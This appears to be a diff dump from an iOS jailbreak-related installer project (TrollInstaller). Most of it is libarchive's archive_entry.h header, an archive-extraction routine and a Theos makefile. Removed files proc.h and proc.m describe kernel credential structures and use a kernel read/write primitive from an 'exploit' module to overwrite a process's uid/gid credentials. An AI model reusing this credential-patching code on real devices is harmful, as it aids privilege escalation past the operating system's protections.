__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
__LA_DECL int archive_entry_dev_is_set(struct archive_entry *);
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
__LA_DECL void archive_entry_fflags(struct archive_entry *,
unsigned long * /* set */,
unsigned long * /* clear */);
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_gid(struct archive_entry *);
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
__LA_DECL const char *archive_entry_gname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
__LA_DECL const char *archive_entry_hardlink_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_ino(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_ino64(struct archive_entry *);
__LA_DECL int archive_entry_ino_is_set(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
__LA_DECL const char *archive_entry_pathname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_perm(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_sourcepath_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_size(struct archive_entry *);
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
__LA_DECL const char *archive_entry_symlink_utf8(struct archive_entry *);
__LA_DECL int archive_entry_symlink_type(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_uid(struct archive_entry *);
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
__LA_DECL const char *archive_entry_uname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
__LA_DECL int archive_entry_is_data_encrypted(struct archive_entry *);
__LA_DECL int archive_entry_is_metadata_encrypted(struct archive_entry *);
__LA_DECL int archive_entry_is_encrypted(struct archive_entry *);
/*
* Set fields in an archive_entry.
*
* Note: Before libarchive 2.4, there were 'set' and 'copy' versions
* of the string setters. 'copy' copied the actual string, 'set' just
* stored the pointer. In libarchive 2.4 and later, strings are
* always copied.
*/
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
#if defined(_WIN32) && !defined(__CYGWIN__)
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *, BY_HANDLE_FILE_INFORMATION *);
#endif
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
unsigned long /* set */, unsigned long /* clear */);
/* Returns pointer to start of first invalid token, or NULL if none. */
/* Note that all recognized tokens are processed, regardless. */
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
const char *);
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
const wchar_t *);
__LA_DECL void archive_entry_set_gid(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_gname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_hardlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_ino(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_link_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_pathname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_size(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_sourcepath_w(struct archive_entry *, const wchar_t *);
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_symlink_type(struct archive_entry *, int);
__LA_DECL void archive_entry_set_symlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_uid(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_uname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_is_data_encrypted(struct archive_entry *, char is_encrypted);
__LA_DECL void archive_entry_set_is_metadata_encrypted(struct archive_entry *, char is_encrypted);
/*
* Routines to bulk copy fields to/from a platform-native "struct
* stat." Libarchive used to just store a struct stat inside of each
* archive_entry object, but this created issues when trying to
* manipulate archives on systems different than the ones they were
* created on.
*
* TODO: On Linux and other LFS systems, provide both stat32 and
* stat64 versions of these functions and all of the macro glue so
* that archive_entry_stat is magically defined to
* archive_entry_stat32 or archive_entry_stat64 as appropriate.
*/
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
/*
* Storage for Mac OS-specific AppleDouble metadata information.
* Apple-format tar files store a separate binary blob containing
* encoded metadata with ACL, extended attributes, etc.
* This provides a place to store that blob.
*/
__LA_DECL const void * archive_entry_mac_metadata(struct archive_entry *, size_t *);
__LA_DECL void archive_entry_copy_mac_metadata(struct archive_entry *, const void *, size_t);
/*
* Digest routine. This is used to query the raw hex digest for the
* given entry. The type of digest is provided as an argument.
*/
#define ARCHIVE_ENTRY_DIGEST_MD5 0x00000001
#define ARCHIVE_ENTRY_DIGEST_RMD160 0x00000002
#define ARCHIVE_ENTRY_DIGEST_SHA1 0x00000003
#define ARCHIVE_ENTRY_DIGEST_SHA256 0x00000004
#define ARCHIVE_ENTRY_DIGEST_SHA384 0x00000005
#define ARCHIVE_ENTRY_DIGEST_SHA512 0x00000006
__LA_DECL const unsigned char * archive_entry_digest(struct archive_entry *, int /* type */);
/*
* ACL routines. This used to simply store and return text-format ACL
* strings, but that proved insufficient for a number of reasons:
* = clients need control over uname/uid and gname/gid mappings
* = there are many different ACL text formats
* = would like to be able to read/convert archives containing ACLs
* on platforms that lack ACL libraries
*
* This last point, in particular, forces me to implement a reasonably
* complete set of ACL support routines.
*/
/*
* Permission bits.
*/
#define ARCHIVE_ENTRY_ACL_EXECUTE 0x00000001
#define ARCHIVE_ENTRY_ACL_WRITE 0x00000002
#define ARCHIVE_ENTRY_ACL_READ 0x00000004
#define ARCHIVE_ENTRY_ACL_READ_DATA 0x00000008
#define ARCHIVE_ENTRY_ACL_LIST_DIRECTORY 0x00000008
#define ARCHIVE_ENTRY_ACL_WRITE_DATA 0x00000010
#define ARCHIVE_ENTRY_ACL_ADD_FILE 0x00000010
#define ARCHIVE_ENTRY_ACL_APPEND_DATA 0x00000020
#define ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY 0x00000020
#define ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS 0x00000040
#define ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS 0x00000080
#define ARCHIVE_ENTRY_ACL_DELETE_CHILD 0x00000100
#define ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES 0x00000200
#define ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES 0x00000400
#define ARCHIVE_ENTRY_ACL_DELETE 0x00000800
#define ARCHIVE_ENTRY_ACL_READ_ACL 0x00001000
#define ARCHIVE_ENTRY_ACL_WRITE_ACL 0x00002000
#define ARCHIVE_ENTRY_ACL_WRITE_OWNER 0x00004000
#define ARCHIVE_ENTRY_ACL_SYNCHRONIZE 0x00008000
#define ARCHIVE_ENTRY_ACL_PERMS_POSIX1E \
(ARCHIVE_ENTRY_ACL_EXECUTE \
| ARCHIVE_ENTRY_ACL_WRITE \
| ARCHIVE_ENTRY_ACL_READ)
#define ARCHIVE_ENTRY_ACL_PERMS_NFS4 \
(ARCHIVE_ENTRY_ACL_EXECUTE \
| ARCHIVE_ENTRY_ACL_READ_DATA \
| ARCHIVE_ENTRY_ACL_LIST_DIRECTORY \
| ARCHIVE_ENTRY_ACL_WRITE_DATA \
| ARCHIVE_ENTRY_ACL_ADD_FILE \
| ARCHIVE_ENTRY_ACL_APPEND_DATA \
| ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY \
| ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS \
| ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS \
| ARCHIVE_ENTRY_ACL_DELETE_CHILD \
| ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES \
| ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES \
| ARCHIVE_ENTRY_ACL_DELETE \
| ARCHIVE_ENTRY_ACL_READ_ACL \
| ARCHIVE_ENTRY_ACL_WRITE_ACL \
| ARCHIVE_ENTRY_ACL_WRITE_OWNER \
| ARCHIVE_ENTRY_ACL_SYNCHRONIZE)
/*
* Inheritance values (NFS4 ACLs only); included in permset.
*/
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERITED 0x01000000
#define ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT 0x02000000
#define ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT 0x04000000
#define ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT 0x08000000
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY 0x10000000
#define ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS 0x20000000
#define ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS 0x40000000
#define ARCHIVE_ENTRY_ACL_INHERITANCE_NFS4 \
(ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY \
| ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS \
| ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS \
| ARCHIVE_ENTRY_ACL_ENTRY_INHERITED)
/* We need to be able to specify combinations of these. */
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 0x00000100 /* POSIX.1e only */
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 0x00000200 /* POSIX.1e only */
#define ARCHIVE_ENTRY_ACL_TYPE_ALLOW 0x00000400 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_DENY 0x00000800 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_AUDIT 0x00001000 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_ALARM 0x00002000 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_POSIX1E (ARCHIVE_ENTRY_ACL_TYPE_ACCESS \
| ARCHIVE_ENTRY_ACL_TYPE_DEFAULT)
#define ARCHIVE_ENTRY_ACL_TYPE_NFS4 (ARCHIVE_ENTRY_ACL_TYPE_ALLOW \
| ARCHIVE_ENTRY_ACL_TYPE_DENY \
| ARCHIVE_ENTRY_ACL_TYPE_AUDIT \
| ARCHIVE_ENTRY_ACL_TYPE_ALARM)
/* Tag values mimic POSIX.1e */
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access (POSIX.1e only) */
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public (POSIX.1e only) */
#define ARCHIVE_ENTRY_ACL_EVERYONE 10107 /* Everyone (NFS4 only) */
/*
* Set the ACL by clearing it and adding entries one at a time.
* Unlike the POSIX.1e ACL routines, you must specify the type
* (access/default) for each entry. Internally, the ACL data is just
* a soup of entries. API calls here allow you to retrieve just the
* entries of interest. This design (which goes against the spirit of
* POSIX.1e) is useful for handling archive formats that combine
* default and access information in a single ACL list.
*/
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
__LA_DECL int archive_entry_acl_add_entry(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const char * /* name */);
__LA_DECL int archive_entry_acl_add_entry_w(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const wchar_t * /* name */);
/*
* To retrieve the ACL, first "reset", then repeatedly ask for the
* "next" entry. The want_type parameter allows you to request only
* certain types of entries.
*/
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
int * /* type */, int * /* permset */, int * /* tag */,
int * /* qual */, const char ** /* name */);
/*
* Construct a text-format ACL. The flags argument is a bitmask that
* can include any of the following:
*
* Flags only for archive entries with POSIX.1e ACL:
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include POSIX.1e "access" entries.
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include POSIX.1e "default" entries.
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
* default ACL entry.
* ARCHIVE_ENTRY_ACL_STYLE_SOLARIS - Output only one colon after "other" and
* "mask" entries.
*
* Flags only for archive entries with NFSv4 ACL:
* ARCHIVE_ENTRY_ACL_STYLE_COMPACT - Do not output the minus character for
* unset permissions and flags in NFSv4 ACL permission and flag fields
*
* Flags for for archive entries with POSIX.1e ACL or NFSv4 ACL:
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
* each ACL entry.
* ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA - Separate entries with comma
* instead of newline.
*/
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 0x00000001
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 0x00000002
#define ARCHIVE_ENTRY_ACL_STYLE_SOLARIS 0x00000004
#define ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA 0x00000008
#define ARCHIVE_ENTRY_ACL_STYLE_COMPACT 0x00000010
__LA_DECL wchar_t *archive_entry_acl_to_text_w(struct archive_entry *,
la_ssize_t * /* len */, int /* flags */);
__LA_DECL char *archive_entry_acl_to_text(struct archive_entry *,
la_ssize_t * /* len */, int /* flags */);
__LA_DECL int archive_entry_acl_from_text_w(struct archive_entry *,
const wchar_t * /* wtext */, int /* type */);
__LA_DECL int archive_entry_acl_from_text(struct archive_entry *,
const char * /* text */, int /* type */);
/* Deprecated constants */
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
/* Deprecated functions */
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
int /* flags */) __LA_DEPRECATED;
__LA_DECL const char *archive_entry_acl_text(struct archive_entry *,
int /* flags */) __LA_DEPRECATED;
/* Return bitmask of ACL types in an archive entry */
__LA_DECL int archive_entry_acl_types(struct archive_entry *);
/* Return a count of entries matching 'want_type' */
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
/* Return an opaque ACL object. */
/* There's not yet anything clients can actually do with this... */
struct archive_acl;
__LA_DECL struct archive_acl *archive_entry_acl(struct archive_entry *);
/*
* extended attributes
*/
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
const char * /* name */, const void * /* value */,
size_t /* size */);
/*
* To retrieve the xattr list, first "reset", then repeatedly ask for the
* "next" entry.
*/
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
const char ** /* name */, const void ** /* value */, size_t *);
/*
* sparse
*/
__LA_DECL void archive_entry_sparse_clear(struct archive_entry *);
__LA_DECL void archive_entry_sparse_add_entry(struct archive_entry *,
la_int64_t /* offset */, la_int64_t /* length */);
/*
* To retrieve the xattr list, first "reset", then repeatedly ask for the
* "next" entry.
*/
__LA_DECL int archive_entry_sparse_count(struct archive_entry *);
__LA_DECL int archive_entry_sparse_reset(struct archive_entry *);
__LA_DECL int archive_entry_sparse_next(struct archive_entry *,
la_int64_t * /* offset */, la_int64_t * /* length */);
/*
* Utility to match up hardlinks.
*
* The 'struct archive_entry_linkresolver' is a cache of archive entries
* for files with multiple links. Here's how to use it:
* 1. Create a lookup object with archive_entry_linkresolver_new()
* 2. Tell it the archive format you're using.
* 3. Hand each archive_entry to archive_entry_linkify().
* That function will return 0, 1, or 2 entries that should
* be written.
* 4. Call archive_entry_linkify(resolver, NULL) until
* no more entries are returned.
* 5. Call archive_entry_linkresolver_free(resolver) to free resources.
*
* The entries returned have their hardlink and size fields updated
* appropriately. If an entry is passed in that does not refer to
* a file with multiple links, it is returned unchanged. The intention
* is that you should be able to simply filter all entries through
* this machine.
*
* To make things more efficient, be sure that each entry has a valid
* nlinks value. The hardlink cache uses this to track when all links
* have been found. If the nlinks value is zero, it will keep every
* name in the cache indefinitely, which can use a lot of memory.
*
* Note that archive_entry_size() is reset to zero if the file
* body should not be written to the archive. Pay attention!
*/
struct archive_entry_linkresolver;
/*
* There are three different strategies for marking hardlinks.
* The descriptions below name them after the best-known
* formats that rely on each strategy:
*
* "Old cpio" is the simplest, it always returns any entry unmodified.
* As far as I know, only cpio formats use this. Old cpio archives
* store every link with the full body; the onus is on the dearchiver
* to detect and properly link the files as they are restored.
* "tar" is also pretty simple; it caches a copy the first time it sees
* any link. Subsequent appearances are modified to be hardlink
* references to the first one without any body. Used by all tar
* formats, although the newest tar formats permit the "old cpio" strategy
* as well. This strategy is very simple for the dearchiver,
* and reasonably straightforward for the archiver.
* "new cpio" is trickier. It stores the body only with the last
* occurrence. The complication is that we might not
* see every link to a particular file in a single session, so
* there's no easy way to know when we've seen the last occurrence.
* The solution here is to queue one link until we see the next.
* At the end of the session, you can enumerate any remaining
* entries by calling archive_entry_linkify(NULL) and store those
* bodies. If you have a file with three links l1, l2, and l3,
* you'll get the following behavior if you see all three links:
* linkify(l1) => NULL (the resolver stores l1 internally)
* linkify(l2) => l1 (resolver stores l2, you write l1)
* linkify(l3) => l2, l3 (all links seen, you can write both).
* If you only see l1 and l2, you'll get this behavior:
* linkify(l1) => NULL
* linkify(l2) => l1
* linkify(NULL) => l2 (at end, you retrieve remaining links)
* As the name suggests, this strategy is used by newer cpio variants.
* It's noticeably more complex for the archiver, slightly more complex
* for the dearchiver than the tar strategy, but makes it straightforward
* to restore a file using any link by simply continuing to scan until
* you see a link that is stored with a body. In contrast, the tar
* strategy requires you to rescan the archive from the beginning to
* correctly extract an arbitrary link.
*/
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
__LA_DECL void archive_entry_linkresolver_set_strategy(
struct archive_entry_linkresolver *, int /* format_code */);
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
struct archive_entry **, struct archive_entry **);
__LA_DECL struct archive_entry *archive_entry_partial_links(
struct archive_entry_linkresolver *res, unsigned int *links);
#ifdef __cplusplus
}
#endif
/* This is meaningless outside of this header. */
#undef __LA_DECL
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */

View File

@ -1,53 +0,0 @@
//
// proc.h
// fun15
//
// Created by Lars Fröder on 11.06.22.
//
#ifndef proc_h
#define proc_h
#import <Foundation/Foundation.h>
#if defined(__cplusplus)
extern "C" {
#endif
struct k_posix_cred { // (96 bytes)
uid_t cr_uid; // off=0x0
uid_t cr_ruid; // off=0x20
uid_t cr_svuid; // off=0x40
u_short cr_ngroups; // off=0x60
u_short __cr_padding; // off=0x70
gid_t cr_groups[16]; // off=0x80
gid_t cr_rgid; // off=0x280
gid_t cr_svgid; // off=0x2a0
uid_t cr_gmuid; // off=0x2c0
int cr_flags; // off=0x2e0
};
struct k_label { // (64 bytes)
int l_flags; // off=0x0
int l_perpolicy[7]; // off=0x40
};
struct k_ucred { // (144 bytes)
struct { // (16 bytes)
struct k_ucred * le_next; // off=0x0
struct k_ucred * * le_prev; // off=0x40
} cr_link; // off=0x0
u_long cr_ref; // off=0x80
struct k_posix_cred cr_posix; // off=0xc0
struct k_label cr_label; // off=0x3c0
struct au_session cr_audit; // off=0x400
};
extern void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred);
extern struct k_posix_cred proc_get_posix_cred(uint64_t proc);
#if defined(__cplusplus)
}
#endif
#endif /* proc_h */

View File

@ -1,31 +0,0 @@
//
// proc.m
// fun15
//
// Created by Lars Fröder on 11.06.22.
//
#import "kutil.h"
#import <Foundation/Foundation.h>
#import "KernelManager.h"
#import "exploit/xpaci.h"
struct k_posix_cred proc_get_posix_cred(uint64_t proc)
{
struct k_posix_cred pcred = {0};
KernelManager* km = [KernelManager sharedInstance];
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
[km readBufferAtAddress:posix_cred_kptr intoBuffer:&pcred withLength:sizeof(struct k_posix_cred)];
return pcred;
}
void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred)
{
KernelManager* km = [KernelManager sharedInstance];
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
[km writeBuffer:&posix_cred withLength:sizeof(struct k_posix_cred) toAddress:posix_cred_kptr];
}

View File

@ -1,18 +0,0 @@
//
// main.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
int main(int argc, char * argv[]) {
NSString * appDelegateClassName;
@autoreleasepool {
// Setup code that might create autoreleased objects goes here.
appDelegateClassName = NSStringFromClass([AppDelegate class]);
}
return UIApplicationMain(argc, argv, nil, appDelegateClassName);
}

View File

@ -1,15 +0,0 @@
//
// unarchive.h
// TrollInstaller
//
// Created by Lars Fröder on 02.09.22.
//
#ifndef unarchive_h
#define unarchive_h
@import Foundation;
extern int extract(NSString* fileToExtract, NSString* extractionPath);
#endif /* unarchive_h */

View File

@ -1,94 +0,0 @@
//
// unarchive.m
// TrollInstaller
//
// Created by Lars Fröder on 02.09.22.
//
#import "unarchive.h"
#include "headers/archive.h"
#include "headers/archive_entry.h"
static int
copy_data(struct archive *ar, struct archive *aw)
{
int r;
const void *buff;
size_t size;
la_int64_t offset;
for (;;) {
r = archive_read_data_block(ar, &buff, &size, &offset);
if (r == ARCHIVE_EOF)
return (ARCHIVE_OK);
if (r < ARCHIVE_OK)
return (r);
r = archive_write_data_block(aw, buff, size, offset);
if (r < ARCHIVE_OK) {
fprintf(stderr, "%s\n", archive_error_string(aw));
return (r);
}
}
}
int extract(NSString* fileToExtract, NSString* extractionPath)
{
struct archive *a;
struct archive *ext;
struct archive_entry *entry;
int flags;
int r;
/* Select which attributes we want to restore. */
flags = ARCHIVE_EXTRACT_TIME;
flags |= ARCHIVE_EXTRACT_PERM;
flags |= ARCHIVE_EXTRACT_ACL;
flags |= ARCHIVE_EXTRACT_FFLAGS;
a = archive_read_new();
archive_read_support_format_all(a);
archive_read_support_filter_all(a);
ext = archive_write_disk_new();
archive_write_disk_set_options(ext, flags);
archive_write_disk_set_standard_lookup(ext);
if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240)))
return 1;
for (;;)
{
r = archive_read_next_header(a, &entry);
if (r == ARCHIVE_EOF)
break;
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(a));
if (r < ARCHIVE_WARN)
return 1;
NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)];
NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile];
//printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String);
archive_entry_set_pathname(entry, fullOutputPath.UTF8String);
r = archive_write_header(ext, entry);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
else if (archive_entry_size(entry) > 0) {
r = copy_data(a, ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
r = archive_write_finish_entry(ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
archive_read_close(a);
archive_read_free(a);
archive_write_close(ext);
archive_write_free(ext);
return 0;
}

View File

@ -1,3 +0,0 @@
.theos/
packages/
.DS_Store

View File

@ -1,17 +0,0 @@
TARGET := iphone:clang:14.5:14.0
INSTALL_TARGET_PROCESSES = TrollInstaller2
ARCHS = arm64 arm64e
include $(THEOS)/makefiles/common.mk
APPLICATION_NAME = TrollInstaller2
TrollInstaller2_FILES = main.m $(wildcard *.m) $(wildcard ../../Helper/*.m) ../../Store/TSListControllerShared.m ../../Store/TSUtil.m
TrollInstaller2_FRAMEWORKS = UIKit CoreGraphics CoreServices
TrollInstaller2_PRIVATE_FRAMEWORKS = Preferences
TrollInstaller2_LIBRARIES = archive
TrollInstaller2_CFLAGS = -fobjc-arc -fmodules -DINSTALLER_EMBEDDED=1
TrollInstaller2_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices
TrollInstaller2_CODESIGN_FLAGS = -Sentitlements.plist
include $(THEOS_MAKE_PATH)/application.mk

View File

@ -1,154 +0,0 @@
